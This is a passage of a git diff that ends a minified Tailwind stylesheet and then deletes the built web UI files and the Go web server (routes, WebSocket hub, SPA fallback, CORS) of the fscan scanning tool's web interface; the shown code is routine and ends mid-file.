pulse-soft{0%,to{opacity:1}50%{opacity:.6}}.pointer-events-none{pointer-events:none}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.inset-0{inset:0}.left-2{left:.5rem}.left-\[50\%\]{left:50%}.top-0{top:0}.top-\[50\%\]{top:50%}.z-50{z-index:50}.-mx-1{margin-left:-.25rem;margin-right:-.25rem}.mx-1{margin-left:.25rem;margin-right:.25rem}.my-0\.5{margin-top:.125rem;margin-bottom:.125rem}.my-1{margin-top:.25rem;margin-bottom:.25rem}.mb-1{margin-bottom:.25rem}.mb-4{margin-bottom:1rem}.ml-auto{margin-left:auto}.mr-2{margin-right:.5rem}.mt-0{margin-top:0}.mt-1{margin-top:.25rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.block{display:block}.flex{display:flex}.inline-flex{display:inline-flex}.grid{display:grid}.hidden{display:none}.aspect-square{aspect-ratio:1 / 1}.aspect-video{aspect-ratio:16 / 9}.h-10{height:2.5rem}.h-11{height:2.75rem}.h-14{height:3.5rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-52{height:13rem}.h-6{height:1.5rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[120px\]{height:120px}.h-\[160px\]{height:160px}.h-\[180px\]{height:180px}.h-\[1px\]{height:1px}.h-\[calc\(100vh-420px\)\]{height:calc(100vh - 420px)}.h-auto{height:auto}.h-full{height:100%}.h-px{height:1px}.max-h-96{max-height:24rem}.max-h-\[--radix-select-content-available-height\]{max-height:var(--radix-select-content-available-height)}.min-h-0{min-height:0px}.min-h-\[400px\]{min-height:400px}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-1{width:.25rem}.w-10{width:2.5rem}.w-11{width:2.75rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-48{width:12rem}.w-5{width:1.25rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-\[160px\]{width:160px}.w-\[180px\]{width:180px}.w-\[1px\]{width:1px}.w-full{width:100%}.w-px{width:1px}.min-w-0{min-width:0px}.min-w-\[8rem\]{min-width:8rem}.min-w-\[var\(--radix-select-trigger-width\)\]{min-width:var(--radix-select-trigger-width)}.max-w-lg{max-width:32rem}.max-w-sm{max-width:24rem}.flex-1{flex:1 1 0%}.shrink-0{flex-shrink:0}.translate-x-\[-50\%\]{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-\[-50\%\]{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-pointer{cursor:pointer}.touch-none{touch-action:none}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.flex-row{flex-direction:row}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-stretch{align-items:stretch}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-2{gap:.5rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.space-y-0>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(0px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(0px * var(--tw-space-y-reverse))}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.overflow-hidden{overflow:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.rounded{border-radius:.25rem}.rounded-\[2px\]{border-radius:2px}.rounded-\[inherit\]{border-radius:inherit}.rounded-full{border-radius:9999px}.rounded-lg{border-radius:var(--radius)}.rounded-md{border-radius:calc(var(--radius) - 2px)}.rounded-sm{border-radius:calc(var(--radius) - 4px)}.border{border-width:1px}.border-2{border-width:2px}.border-\[1\.5px\]{border-width:1.5px}.border-b{border-bottom-width:1px}.border-l{border-left-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-border\/50{border-color:hsl(var(--border) / .5)}.border-destructive\/50{border-color:hsl(var(--destructive) / .5)}.border-input{border-color:hsl(var(--input))}.border-success\/50{border-color:hsl(var(--success) / .5)}.border-transparent{border-color:transparent}.border-warning\/50{border-color:hsl(var(--warning) / .5)}.border-l-transparent{border-left-color:transparent}.border-t-transparent{border-top-color:transparent}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-background{background-color:hsl(var(--background))}.bg-background\/95{background-color:hsl(var(--background) / .95)}.bg-black\/80{background-color:#000c}.bg-blue-500\/10{background-color:#3b82f61a}.bg-border{background-color:hsl(var(--border))}.bg-card{background-color:hsl(var(--card))}.bg-destructive{background-color:hsl(var(--destructive))}.bg-destructive\/10{background-color:hsl(var(--destructive) / .1)}.bg-emerald-500\/10{background-color:#10b9811a}.bg-foreground{background-color:hsl(var(--foreground))}.bg-muted{background-color:hsl(var(--muted))}.bg-muted\/50{background-color:hsl(var(--muted) / .5)}.bg-popover{background-color:hsl(var(--popover))}.bg-primary{background-color:hsl(var(--primary))}.bg-secondary{background-color:hsl(var(--secondary))}.bg-transparent{background-color:transparent}.fill-current{fill:currentColor}.p-0{padding:0}.p-1{padding:.25rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-6{padding:1.5rem}.p-\[1px\]{padding:1px}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-8{padding-left:2rem}.pr-2{padding-right:.5rem}.pt-0{padding-top:0}.pt-4{padding-top:1rem}.text-center{text-align:center}.font-mono{font-family:IBM Plex Mono,ui-monospace,monospace}.text-2xl{font-size:1.5rem;line-height:2rem}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-none{line-height:1}.tracking-tight{letter-spacing:-.025em}.tracking-widest{letter-spacing:.1em}.text-amber-600{--tw-text-opacity: 1;color:rgb(217 119 6 / var(--tw-text-opacity, 1))}.text-background{color:hsl(var(--background))}.text-blue-600{--tw-text-opacity: 1;color:rgb(37 99 235 / var(--tw-text-opacity, 1))}.text-card-foreground{color:hsl(var(--card-foreground))}.text-destructive{color:hsl(var(--destructive))}.text-destructive-foreground{color:hsl(var(--destructive-foreground))}.text-emerald-600{--tw-text-opacity: 1;color:rgb(5 150 105 / var(--tw-text-opacity, 1))}.text-foreground{color:hsl(var(--foreground))}.text-muted-foreground{color:hsl(var(--muted-foreground))}.text-popover-foreground{color:hsl(var(--popover-foreground))}.text-primary{color:hsl(var(--primary))}.text-primary-foreground{color:hsl(var(--primary-foreground))}.text-secondary-foreground{color:hsl(var(--secondary-foreground))}.text-success{color:hsl(var(--success))}.text-warning{color:hsl(var(--warning))}.underline-offset-4{text-underline-offset:4px}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-md{--tw-shadow: 0 4px 6px -1px rgb(0 0 0 / .1), 0 2px 4px -2px rgb(0 0 0 / .1);--tw-shadow-colored: 0 4px 6px -1px var(--tw-shadow-color), 0 2px 4px -2px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-sm{--tw-shadow: 0 1px 2px 0 rgb(0 0 0 / .05);--tw-shadow-colored: 0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.outline-none{outline:2px solid transparent;outline-offset:2px}.outline{outline-style:solid}.ring-0{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.ring-offset-background{--tw-ring-offset-color: hsl(var(--background))}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-200{transition-duration:.2s}@keyframes enter{0%{opacity:var(--tw-enter-opacity, 1);transform:translate3d(var(--tw-enter-translate-x, 0),var(--tw-enter-translate-y, 0),0) scale3d(var(--tw-enter-scale, 1),var(--tw-enter-scale, 1),var(--tw-enter-scale, 1)) rotate(var(--tw-enter-rotate, 0))}}@keyframes exit{to{opacity:var(--tw-exit-opacity, 1);transform:translate3d(var(--tw-exit-translate-x, 0),var(--tw-exit-translate-y, 0),0) scale3d(var(--tw-exit-scale, 1),var(--tw-exit-scale, 1),var(--tw-exit-scale, 1)) rotate(var(--tw-exit-rotate, 0))}}.animate-in{animation-name:enter;animation-duration:.15s;--tw-enter-opacity: initial;--tw-enter-scale: initial;--tw-enter-rotate: initial;--tw-enter-translate-x: initial;--tw-enter-translate-y: initial}.fade-in-0{--tw-enter-opacity: 0}.zoom-in-95{--tw-enter-scale: .95}.duration-200{animation-duration:.2s}.running{animation-play-state:running}.font-mono{font-family:IBM Plex Mono,ui-monospace,monospace}.file\:border-0::file-selector-button{border-width:0px}.file\:bg-transparent::file-selector-button{background-color:transparent}.file\:text-sm::file-selector-button{font-size:.875rem;line-height:1.25rem}.file\:font-medium::file-selector-button{font-weight:500}.placeholder\:text-muted-foreground::-moz-placeholder{color:hsl(var(--muted-foreground))}.placeholder\:text-muted-foreground::placeholder{color:hsl(var(--muted-foreground))}.hover\:border-foreground\/20:hover{border-color:hsl(var(--foreground) / .2)}.hover\:bg-accent:hover{background-color:hsl(var(--accent))}.hover\:bg-destructive\/10:hover{background-color:hsl(var(--destructive) / .1)}.hover\:bg-destructive\/80:hover{background-color:hsl(var(--destructive) / .8)}.hover\:bg-destructive\/90:hover{background-color:hsl(var(--destructive) / .9)}.hover\:bg-muted\/30:hover{background-color:hsl(var(--muted) / .3)}.hover\:bg-primary\/80:hover{background-color:hsl(var(--primary) / .8)}.hover\:bg-primary\/90:hover{background-color:hsl(var(--primary) / .9)}.hover\:bg-secondary\/80:hover{background-color:hsl(var(--secondary) / .8)}.hover\:text-accent-foreground:hover{color:hsl(var(--accent-foreground))}.hover\:text-destructive:hover{color:hsl(var(--destructive))}.hover\:text-foreground:hover{color:hsl(var(--foreground))}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-80:hover{opacity:.8}.focus\:bg-accent:focus{background-color:hsl(var(--accent))}.focus\:text-accent-foreground:focus{color:hsl(var(--accent-foreground))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-2:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-ring:focus{--tw-ring-color: hsl(var(--ring))}.focus\:ring-offset-2:focus{--tw-ring-offset-width: 2px}.focus-visible\:outline-none:focus-visible{outline:2px solid transparent;outline-offset:2px}.focus-visible\:ring-2:focus-visible{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus-visible\:ring-ring:focus-visible{--tw-ring-color: hsl(var(--ring))}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width: 2px}.focus-visible\:ring-offset-background:focus-visible{--tw-ring-offset-color: hsl(var(--background))}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:scale-105{--tw-scale-x: 1.05;--tw-scale-y: 1.05;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:text-foreground{color:hsl(var(--foreground))}.peer:disabled~.peer-disabled\:cursor-not-allowed{cursor:not-allowed}.peer:disabled~.peer-disabled\:opacity-70{opacity:.7}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y: .25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=left\]\:-translate-x-1[data-side=left]{--tw-translate-x: -.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=right\]\:translate-x-1[data-side=right]{--tw-translate-x: .25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=top\]\:-translate-y-1[data-side=top]{--tw-translate-y: -.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=checked\]\:translate-x-5[data-state=checked]{--tw-translate-x: 1.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=active\]\:bg-background[data-state=active]{background-color:hsl(var(--background))}.data-\[state\=checked\]\:bg-primary[data-state=checked]{background-color:hsl(var(--primary))}.data-\[state\=open\]\:bg-accent[data-state=open]{background-color:hsl(var(--accent))}.data-\[state\=unchecked\]\:bg-input[data-state=unchecked]{background-color:hsl(var(--input))}.data-\[state\=active\]\:text-foreground[data-state=active]{color:hsl(var(--foreground))}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[state\=active\]\:shadow-sm[data-state=active]{--tw-shadow: 0 1px 2px 0 rgb(0 0 0 / .05);--tw-shadow-colored: 0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.data-\[state\=open\]\:animate-in[data-state=open]{animation-name:enter;animation-duration:.15s;--tw-enter-opacity: initial;--tw-enter-scale: initial;--tw-enter-rotate: initial;--tw-enter-translate-x: initial;--tw-enter-translate-y: initial}.data-\[state\=closed\]\:animate-out[data-state=closed]{animation-name:exit;animation-duration:.15s;--tw-exit-opacity: initial;--tw-exit-scale: initial;--tw-exit-rotate: initial;--tw-exit-translate-x: initial;--tw-exit-translate-y: initial}.data-\[state\=closed\]\:fade-out-0[data-state=closed]{--tw-exit-opacity: 0}.data-\[state\=open\]\:fade-in-0[data-state=open]{--tw-enter-opacity: 0}.data-\[state\=closed\]\:zoom-out-95[data-state=closed]{--tw-exit-scale: .95}.data-\[state\=open\]\:zoom-in-95[data-state=open]{--tw-enter-scale: .95}.data-\[side\=bottom\]\:slide-in-from-top-2[data-side=bottom]{--tw-enter-translate-y: -.5rem}.data-\[side\=left\]\:slide-in-from-right-2[data-side=left]{--tw-enter-translate-x: .5rem}.data-\[side\=right\]\:slide-in-from-left-2[data-side=right]{--tw-enter-translate-x: -.5rem}.data-\[side\=top\]\:slide-in-from-bottom-2[data-side=top]{--tw-enter-translate-y: .5rem}.data-\[state\=closed\]\:slide-out-to-left-1\/2[data-state=closed]{--tw-exit-translate-x: -50%}.data-\[state\=closed\]\:slide-out-to-top-\[48\%\][data-state=closed]{--tw-exit-translate-y: -48%}.data-\[state\=open\]\:slide-in-from-left-1\/2[data-state=open]{--tw-enter-translate-x: -50%}.data-\[state\=open\]\:slide-in-from-top-\[48\%\][data-state=open]{--tw-enter-translate-y: -48%}.dark\:border-destructive:is(.dark *){border-color:hsl(var(--destructive))}.dark\:border-success:is(.dark *){border-color:hsl(var(--success))}.dark\:border-warning:is(.dark *){border-color:hsl(var(--warning))}.dark\:text-amber-400:is(.dark *){--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.dark\:text-blue-400:is(.dark *){--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.dark\:text-emerald-400:is(.dark *){--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}@media(min-width:640px){.sm\:mt-0{margin-top:0}.sm\:block{display:block}.sm\:inline{display:inline}.sm\:h-10{height:2.5rem}.sm\:h-16{height:4rem}.sm\:h-5{height:1.25rem}.sm\:h-8{height:2rem}.sm\:w-10{width:2.5rem}.sm\:w-5{width:1.25rem}.sm\:w-8{width:2rem}.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:.5rem}.sm\:gap-3{gap:.75rem}.sm\:gap-6{gap:1.5rem}.sm\:space-x-2>:not([hidden])~:not([hidden]){--tw-space-x-reverse: 0;margin-right:calc(.5rem * var(--tw-space-x-reverse));margin-left:calc(.5rem * calc(1 - var(--tw-space-x-reverse)))}.sm\:rounded-lg{border-radius:var(--radius)}.sm\:p-4{padding:1rem}.sm\:py-4{padding-top:1rem;padding-bottom:1rem}.sm\:text-left{text-align:left}.sm\:text-lg{font-size:1.125rem;line-height:1.75rem}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media(min-width:1024px){.lg\:sticky{position:sticky}.lg\:top-20{top:5rem}.lg\:col-span-3{grid-column:span 3 / span 3}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:h-56{height:14rem}.lg\:grid-cols-10{grid-template-columns:repeat(10,minmax(0,1fr))}.lg\:py-5{padding-top:1.25rem;padding-bottom:1.25rem}}.\[\&\>span\]\:line-clamp-1>span{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:1}.\[\&\>svg\+div\]\:translate-y-\[-3px\]>svg+div{--tw-translate-y: -3px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.\[\&\>svg\]\:absolute>svg{position:absolute}.\[\&\>svg\]\:left-4>svg{left:1rem}.\[\&\>svg\]\:top-4>svg{top:1rem}.\[\&\>svg\]\:h-2\.5>svg{height:.625rem}.\[\&\>svg\]\:w-2\.5>svg{width:.625rem}.\[\&\>svg\]\:text-destructive>svg{color:hsl(var(--destructive))}.\[\&\>svg\]\:text-foreground>svg{color:hsl(var(--foreground))}.\[\&\>svg\]\:text-muted-foreground>svg{color:hsl(var(--muted-foreground))}.\[\&\>svg\]\:text-success>svg{color:hsl(var(--success))}.\[\&\>svg\]\:text-warning>svg{color:hsl(var(--warning))}.\[\&\>svg\~\*\]\:pl-7>svg~*{padding-left:1.75rem}.\[\&_\.recharts-cartesian-axis-tick_text\]\:fill-muted-foreground .recharts-cartesian-axis-tick text{fill:hsl(var(--muted-foreground))}.\[\&_\.recharts-cartesian-grid_line\[stroke\=\'\#ccc\'\]\]\:stroke-border\/50 .recharts-cartesian-grid line[stroke="#ccc"]{stroke:hsl(var(--border) / .5)}.\[\&_\.recharts-curve\.recharts-tooltip-cursor\]\:stroke-border .recharts-curve.recharts-tooltip-cursor{stroke:hsl(var(--border))}.\[\&_\.recharts-dot\[stroke\=\'\#fff\'\]\]\:stroke-transparent .recharts-dot[stroke="#fff"]{stroke:transparent}.\[\&_\.recharts-layer\]\:outline-none .recharts-layer{outline:2px solid transparent;outline-offset:2px}.\[\&_\.recharts-polar-grid_\[stroke\=\'\#ccc\'\]\]\:stroke-border .recharts-polar-grid [stroke="#ccc"]{stroke:hsl(var(--border))}.\[\&_\.recharts-radial-bar-background-sector\]\:fill-muted .recharts-radial-bar-background-sector,.\[\&_\.recharts-rectangle\.recharts-tooltip-cursor\]\:fill-muted .recharts-rectangle.recharts-tooltip-cursor{fill:hsl(var(--muted))}.\[\&_\.recharts-reference-line_\[stroke\=\'\#ccc\'\]\]\:stroke-border .recharts-reference-line [stroke="#ccc"]{stroke:hsl(var(--border))}.\[\&_\.recharts-sector\[stroke\=\'\#fff\'\]\]\:stroke-transparent .recharts-sector[stroke="#fff"]{stroke:transparent}.\[\&_\.recharts-sector\]\:outline-none .recharts-sector,.\[\&_\.recharts-surface\]\:outline-none .recharts-surface{outline:2px solid transparent;outline-offset:2px}.\[\&_p\]\:leading-relaxed p{line-height:1.625}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:size-4 svg{width:1rem;height:1rem}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0} diff --git a/web/dist/index.html b/web/dist/index.html deleted file mode 100644 index bb93a8c6..00000000 --- a/web/dist/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - web-ui - - - - -
- - diff --git a/web/dist/vite.svg b/web/dist/vite.svg deleted file mode 100644 index e7b8dfb1..00000000 --- a/web/dist/vite.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/web/server.go b/web/server.go deleted file mode 100644 index e4121bfa..00000000 --- a/web/server.go +++ /dev/null @@ -1,125 +0,0 @@ -//go:build web - -package web - -import ( - "context" - "embed" - "fmt" - "io/fs" - "net/http" - "os" - "os/signal" - "syscall" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/web/api" - "github.com/shadow1ng/fscan/web/ws" -) - -//go:embed dist/* -var distFS embed.FS - -// StartServer 启动Web服务器 -func StartServer(port int) error { - // 初始化WebSocket Hub - hub := ws.NewHub() - go hub.Run() - - // 创建路由 - mux := http.NewServeMux() - - // API路由 - api.RegisterRoutes(mux, hub) - - // WebSocket路由 - mux.HandleFunc("/ws", func(w http.ResponseWriter, r *http.Request) { - ws.ServeWs(hub, w, r) - }) - - // 静态文件服务 - distContent, err := fs.Sub(distFS, "dist") - if err != nil { - return fmt.Errorf("failed to get dist fs: %w", err) - } - fileServer := http.FileServer(http.FS(distContent)) - - // SPA fallback: 对于非API/WS请求,尝试静态文件,否则返回index.html - mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { - // 检查文件是否存在 - path := r.URL.Path - if path == "/" { - path = "/index.html" - } - - // 尝试打开文件 - f, err := distContent.Open(path[1:]) // 移除开头的/ - if err != nil { - // 文件不存在,返回index.html(SPA路由) - r.URL.Path = "/" - fileServer.ServeHTTP(w, r) - return - } - f.Close() - - // 文件存在,正常服务 - fileServer.ServeHTTP(w, r) - }) - - // 创建服务器 - addr := fmt.Sprintf(":%d", port) - server := &http.Server{ - Addr: addr, - Handler: corsMiddleware(mux), - ReadTimeout: 30 * time.Second, - WriteTimeout: 30 * time.Second, - IdleTimeout: 60 * time.Second, - } - - // 